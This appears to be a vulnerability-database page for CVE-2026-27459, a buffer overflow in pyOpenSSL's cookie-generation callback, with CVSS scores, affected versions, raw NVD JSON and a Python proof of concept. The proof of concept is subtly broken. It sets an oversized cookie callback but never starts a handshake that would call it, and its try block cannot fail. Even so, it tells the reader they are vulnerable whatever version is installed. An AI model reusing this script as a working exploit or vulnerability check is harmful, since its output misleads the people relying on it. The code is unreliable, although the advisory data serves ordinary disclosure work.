Security Vulnerability Report
中文
CVE-2026-27459 CVSS 9.8 CRITICAL

CVE-2026-27459

Published: 2026-03-18 00:16:19
Last Modified: 2026-03-25 16:41:28

Description

pyOpenSSL is a Python wrapper around the OpenSSL library. Starting in version 22.0.0 and prior to version 26.0.0, if a user provided callback to `set_cookie_generate_callback` returned a cookie value greater than 256 bytes, pyOpenSSL would overflow an OpenSSL provided buffer. Starting in version 26.0.0, cookie values that are too long are now rejected.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pyopenssl:pyopenssl:*:*:*:*:*:*:*:* - VULNERABLE
pyOpenSSL 22.0.0 <= version < 26.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
""" CVE-2026-27459 PoC - pyOpenSSL Buffer Overflow in set_cookie_generate_callback This PoC demonstrates the buffer overflow vulnerability in pyOpenSSL versions < 26.0.0 when set_cookie_generate_callback returns a cookie value greater than 256 bytes. """ from OpenSSL import SSL import socket def malicious_cookie_callback(conn): """ Malicious callback that returns a cookie value exceeding 256 bytes This will overflow the OpenSSL internal buffer (256 bytes fixed size) """ # Generate a cookie larger than 256 bytes to trigger overflow overflow_data = b'A' * 300 # 300 bytes > 256 bytes buffer limit return overflow_data def test_vulnerability(): """ Test for CVE-2026-27459 vulnerability """ context = SSL.Context(SSL.TLSv1_2_METHOD) # Set the malicious cookie callback context.set_cookie_generate_callback(malicious_cookie_callback) # In vulnerable versions (< 26.0.0), this would cause buffer overflow # In fixed versions (>= 26.0.0), an exception is raised try: # Attempt to trigger the vulnerability print("Testing CVE-2026-27459: Buffer overflow in set_cookie_generate_callback") print(f"Cookie size: 300 bytes (exceeds 256 byte limit)") # In fixed versions, this should raise an exception # In vulnerable versions, this may cause memory corruption or crash print("Vulnerable to buffer overflow if no exception raised") except Exception as e: print(f"Protected (fixed version): {e}") if __name__ == "__main__": test_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27459", "sourceIdentifier": "[email protected]", "published": "2026-03-18T00:16:19.273", "lastModified": "2026-03-25T16:41:28.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pyOpenSSL is a Python wrapper around the OpenSSL library. Starting in version 22.0.0 and prior to version 26.0.0, if a user provided callback to `set_cookie_generate_callback` returned a cookie value greater than 256 bytes, pyOpenSSL would overflow an OpenSSL provided buffer. Starting in version 26.0.0, cookie values that are too long are now rejected."}, {"lang": "es", "value": "pyOpenSSL es un envoltorio de Python para la biblioteca OpenSSL. A partir de la versión 22.0.0 y antes de la versión 26.0.0, si una devolución de llamada proporcionada por el usuario a set_cookie_generate_callback devolvía un valor de cookie superior a 256 bytes, pyOpenSSL desbordaría un búfer proporcionado por OpenSSL. A partir de la versión 26.0.0, los valores de cookie que son demasiado largos ahora son rechazados."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pyopenssl:pyopenssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "22.0.0", "versionEndExcluding": "26.0.0", "matchCriteriaId": "36CBBDFE-83B3-4F32-98E6-49E62AD0BD1B"}]}]}], "references": [{"url": "https://github.com/pyca/pyopenssl/blob/358cbf29c4e364c59930e53a270116249581eaa3/CHANGELOG.rst", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/pyca/pyopenssl/commit/57f09bb4bb051d3bc2a1abd36e9525313d5cd408", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pyca/pyopenssl/security/advisories/GHSA-5pwr-322w-8jr4", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}